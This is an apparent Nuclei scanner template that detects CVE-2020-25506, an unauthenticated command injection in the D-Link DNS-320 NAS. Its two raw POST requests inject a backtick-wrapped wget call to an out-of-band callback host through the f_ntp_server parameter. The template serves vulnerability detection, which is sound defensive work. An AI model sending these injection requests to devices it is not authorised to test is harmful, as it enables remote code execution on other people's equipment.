id: CVE-2020-25506

info:
  name: D-Link DNS-320 - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: The exploit targets a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.
  reference:
    - https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675
    - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
  tags: cve,cve2020,dlink,rce,oast
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-25506
    cwe-id: CWE-78

requests:
  - raw:
      - |
        POST /cgi-bin/system_mgr.cgi? HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

        C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}`

      - |
        POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}` HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"